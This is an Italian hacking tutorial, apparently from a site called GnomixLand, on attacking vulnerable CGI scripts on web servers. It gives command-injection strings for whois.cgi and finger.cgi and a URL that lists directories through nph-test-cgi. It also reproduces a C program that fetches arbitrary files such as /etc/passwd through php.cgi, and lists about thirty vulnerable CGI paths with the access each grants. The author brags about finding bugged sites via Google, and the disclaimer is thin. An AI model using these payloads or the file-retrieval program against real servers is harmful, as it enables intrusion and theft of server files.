GnomixLand




Le falle dei file CGI

Disclaimer:

Attenzione: le informazioni sulla sicurezza qui riportate sono solo a scopo divulgativo.
Non provate a metterle in pratica se non per testare la sicurezza del vosrto sito!!
Ricordate che penetrare in un sistema informatico è un reato PENALE... non fate gli sboroni... mi raccomando.

-----------------------------------

INTRODUZIONE:

Anche se stiamo trattando un argomento non nuovo (ci asono altri mille tut su questo argomento!!) non dobbiamo trascurare la quantità e la facilità con la quale è possibile trovare dei CGI bacati.
Infatti queste leggerezze degli admin rendono sempre attuale il problema che vi sto per presentare.
Pensate che in cinque minuti ho trovato ben 3 file CGI bugguti su tre siti diversi (naturalmente grazie google)!
I file CGI buggati superano la centinaia, chiaramente in questo tutorial ne vedremo solo alcuni;
se ne vorrete leggere altri in futuro basta mailarci!
Questi script sono spesso scritti in perl (ma non solo), si occupano di svariati compiti ma li vedremo più nel dettaglio uno per uno.

-----------------------------------

WHOIS.CGI

Il file whois.cgi si occupa di controllare su un database se un determinato dominio è già stato assegnato o no. Per quanto osservato da me, generalmente questi programmi sono presenti su siti di società che si occupano di vendere domini. La falla di questo file permette di eseguire comandi linux (senza privilegi root) adottando una delle tre sintassi seguenti:

;COMANDO;
;COMANDO
";COMANDO;

Il comando naturalmente va scritto nel textbox in cui andrebbe inserito il dominio da verificare.
Personalmente ho testato questo bug in tutte le versioni whois fino alla 1.3 compresa; sembra che la 2.0 sia veramente sicura. Sui siti da me rilevati buggati funzionava la sintassi ;COMANDO;
Ai neofiti di linux consiglio di testare il bug con un semplice:

;LS;

che corrisponde al dir in dos (per chi se lo ricorda) e che comunque si limita a mostrare il contenuto della directory corrente. Inutile dire che se i file presente nella dir vengono visualizzati... siamo in presenza della versione buggata del whois.cgi!

-----------------------------------
FINGER.CGI

Il finger si occupa sostanzialmente di rilevare informazioni su un host. Ma non è questo aspetto quello che ci interessa, noi ci stiamo occupando di sicurezza.. veniamo al dunque :-)
Anche per questo file vale tutto quanto detto in precedenza, con un'unica eccezione riguardante la sintassi che si dovrà utilizzare è la seguente:

|COMANDO|
|COMANDO

Onestamente questo buco non è così diffuso come il precedente ma esistono in giro ancora finger buggati ed è per questo che l'ho riportato!

-----------------------------------

NPH-TEST.CGI

Eccoci al nph-test.cgi! Anche in questo caso testeremo questo file limitandoci a voler visualizzare solamente il contenuto della directory ove risiede.
Il comando andra scritto direttamente sulla barra degli indirizzi del nostro browser e la sintassi in questo caso sembra più confusa.. ma non è difficile..

http://www.nomeHostDaTestare/cgi-bin/nph-test-cgi?/home/*

Il "?" indica l'esecuzione di un comando mentre con "/home/*" si localizza e visualizza la directory.
Se l'output restituito dal browser è qualcosa di simile al seguente... significa, come al solito, che l'admin ha sbagliato mestiere :-))

argc is 1. argv is /home/*.

SERVER_SOFTWARE = Apache/1.3.26 (Unix) Debian GNU/Linux mod_pubcookie/3.0.0 pre-beta2 mod_ssl/2.8.9 OpenSSL/0.9.6d PHP/4.1.2
SERVER_NAME = www.HostDaTestare
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING = /home/my /home/joseph /home/admin /home/admin /home/andy.............ecc. ecc.
REMOTE_HOST = XX.XXXXXXXXXX
REMOTE_ADDR = XXX.XXX.XXX.XXX
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH =

Ecco l'output del comando come potete vedere si puo risalire anche ad un sacco di informazioni su di noi..

-----------------------------------

PHP.CGI

Adesso ci occuperemo del php.cgi riportando un listato reperibile sul sito http://www.codez.com attraverso il quale il computer remoto può copiare (dall'HostDaTestare) ogni file al quale il demone http ha accesso.
Eccovi il listato... nelle prime righe c'è il nome dell'autore del codice qui riportato, quindi ribadisco che questa non è "farina del mio sacco", ma è ugualmente interessante per cui ho pensato di includerlo su questo tut!

/*

p1 (peewun@heterosexual.com)

This code retrieves a file using php.cgi on a remote system.
This program is for educational purposes only. Use it on p1.com.

*/

#include <signal.h>
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>

FILE *server;
int sock;

void do_connect(char *host, char *toget);
void do_connect(char *host, char *toget)
{
char inbuf[1024];
struct sockaddr_in sin;
struct hostent *hp;
char *tmpbuf;

hp = gethostbyname(host);
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);

if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) {
printf("Made connection to %s.nn", host);
} else {
printf("Failed to connect to %s.nn",host);
exit(0);
}

server=fdopen(sock, "a+");
fprintf(server, "GET /cgi-bin/php.cgi?%sn",toget);
printf("Output from php.cgi request:nn");
while(1){
if (fgets(inbuf, 1024, server) == NULL)
break;
printf(inbuf);
}

}
main(int argc,char **argv)
{
printf("nThis program retrieves files off a remote system using php.cgi.n");
printf("Author: p1 - peewun@heterosexual.comn");
if (argc < 3) {
printf("Usage: %s <domain> <path and file>n",argv[0]);
printf(" Ex: %s www.p1.com /etc/passwdn",argv[0]);
}
else {
char *buffer;
(char *)"exit";
do_connect(argv[1],argv[2]);
exit(1);
}
}


-----------------------------------
ELENCO PARZIALE DEI FILES CGI BUGGATI

Qui di seguito riporto una lista parziale dei file CGI conosciuti come bucabili, seguiti da una descrizione dei privilegi ottenibili.

/cgi-bin/handler;Accesso root da remoto;
/cgi-bin/test-cgi;browsing directory da remoto;
/cgi-bin/nph-test-cgi;browsing directory da remoto;
/cgi-bin/phf;Accesso root da remoto;
/cgi-bin/phf.pp;Accesso root da remoto;
/cgi-bin/phf.cgi;Accesso root da remoto:
/cgi-bin/websendmail;'password';
/cgi-bin/php.cgi;PHP CGI gate code exec;
/cgi-bin/php;PHP CGI gate code exec;
/cgi-bin/perl.exe;Esecuzione Perl da remoto;
/cgi-bin/AT-admin.cgi;supervisore motore di ricerca;
/cgi-bin/sendform.cgi;Reperire ogni file;
/cgi-bin/bnbform.cgi;any phile reading;
/cgi-bin/survey.cgi;Esecuzione codice sul server;
/cgi-bin/count.cgi;Esecuzione codice da remoto;
/cgi-bin/guestbook.cgi;Esecuzione codice SSI;
/cgi-bin/aglimpse;Esecuzione codice con i diritti http;
/cgi-bin/finger?@localhost;Reperire dati sull'User;
/cgi-bin/jj;escape dalla shell;
/cgi-bin/webdist.cgi;Esecuzione remota IRIX;
/cgi-bin/wrap.cgi;Esecuzione remota IRIX;
/cgi-bin/handler.cgi;Esecuzione remota IRIX;
/cgi-bin/day5datacopier.cgi;Esecuzione remota IRIX;
/cgi-bin/day5datanotifier.cgi;Esecuzione remota IRIX;
/cgi-bin/pfdisplay.cgi;Lettura files IRIX;
/cgi-bin/campas;Lettura remota files;
/cgi-bin/textcounter.pl;Esecuzione comando da httpd;
/cgi-bin/view-source;Lettura ogni file;
/cgi-bin/webgais;Esecuzione ogni comando;
/cgi-bin/htmlscript;Lettura ogni file;
/cgi-bin/nph-publish;Editare files;
/cgi-bin/faxsurvey;Esecuzione comando;
/cgi-bin/whois.cgi;Accesso remoto (non root);
-----------------------------------

CONCLUSIONI

Come avete potuto vedere ci sono molti exploit da testare per rendere davvero sicuro il nostro sito web.
A questo proposito ci vengono in aiuto gli Scanner CGI, che appurano l'esistenza di questi file CGI potenzialmente buggati. A noi non resterà altro che testare le eventuali falle una per una, fino ad individuare ed aggiornare tutti i file incriminati.
Mi raccomando ancora... non combinate casini che io non ne voglio sapere nulla poi, ok?!
-----------------------------------

RINGRAZIAMENTI

Finalmente alla fine.. questa è la parte del tutorial in cui posso ringraziare chi mi pare!!!
Ringrazio tutta la mia CREW, alla quale dedico questo tutorial che è il primo per me!! (speriam che non sia l'ultimo!)
Un ringraziamento particolare al magno pcware che mi ha accettato ed aiutato in tutti i modi, ad entrare in questa bella Crew; uno particolare (di ringraziamento) anche al buon Traktopel, senza il quale non sarebbe stata possibile per me la stesura di questo modesto tutorial.
Un ringraziamento anche a F34rOFth3D4rk!!

P.S. A pex3 invece cosa dire.. leggiti questo tutorial.. che ne hai bisogno!



©  GnomixLand
http://www.gnomixland.com/